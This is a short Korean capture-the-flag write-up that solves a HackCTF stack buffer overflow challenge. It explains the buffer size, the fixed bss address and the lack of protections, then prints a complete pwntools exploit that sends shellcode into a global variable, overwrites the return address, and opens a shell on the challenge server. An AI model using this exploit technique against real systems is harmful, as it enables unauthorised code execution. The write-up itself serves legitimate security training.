해킹/writeup
7. HackCTF - 내 버퍼가 흘러넘친다!!!
rmagur1203
2021. 7. 11. 15:04
s 변수의 크기부터 봐보자. 0x14 쉘 코드를 넣기에는 공간이 부족하고, s 변수의 주소를 알아낼 수 없다.
name 변수를 보자. name변수는 bss 영역에 있는걸 보아 초기화되지 않은 전역 변수인 거 같다.
보호 기법도 없으니 name 변수는 항상 고정된 위치에 있을 것이다.
name 변수 위치인 0804A060에 쉘 코드를 넣고,
s를 버퍼 오버플로우를 이용하여 ret을 name 변수 주소로 덮어 씌울 것이다.
from pwn import *
context.log_level = 'debug'
#r = process("./prob1")
r = remote("ctf.j0n9hyun.xyz", 3003)
context(arch='i386', os='linux')
shell = asm(shellcraft.i386.linux.sh())
r.recvuntil(": ")
r.sendline(shell)
payload = b''
payload += b'A' * (0x14 + 4)
payload += p32(0x804a060)
r.recvuntil(": ")
r.sendline(payload)
r.interactive()
이상하게 로컬에서 돌렸을때는 쉘이 제대로 작동하지 않았는데 서버에 시도할때는 제대로 됐다.
728x90